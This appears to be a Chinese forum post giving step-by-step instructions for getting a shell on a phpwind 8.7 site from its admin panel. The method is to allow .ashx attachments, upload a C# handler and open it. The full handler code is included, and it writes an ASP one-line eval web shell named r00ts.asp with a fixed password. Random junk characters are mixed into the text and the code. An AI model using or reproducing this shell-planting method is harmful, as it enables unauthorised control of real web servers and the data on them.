phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
$ i; S' q8 X0 I' t. m4 s: _0 t
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
7 C" ~& _( `# H& r2 q0 z6 S1 F" N
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
. y2 r( Z5 n9 {: J. e+ L% D
0 l, b8 g; T) Y3 d' d; C9 E然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

. m- L0 O6 R2 p" _& R6 M打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
4 S( X' O- \5 H' T
# F9 G, C3 x' m+ P2 ?下面是代码:
1 r3 K' J7 j! V
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
7 S7 b7 [$ f$ S0 M& `using System.Web;
; E1 ~  y7 t& q# K, uusing System.IO;
" [5 V. l6 b: ?8 @! gpublic class Handler : IHttpHandler {
6 i& P( \" R3 Y  M4 kpublic void ProcessRequest (HttpContext context) {
: f% _! h1 f4 C- H" acontext.Response.ContentType = "text/plain";
3 Y; B( f/ T( b5 f- o: m9 @  oStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
- V6 I3 e+ X8 w' {; _- J* B( K}
public bool IsReusable {
get {
return false;
}
}
}
3 o+ H: s6 D5 v  p2 y  F+ @  g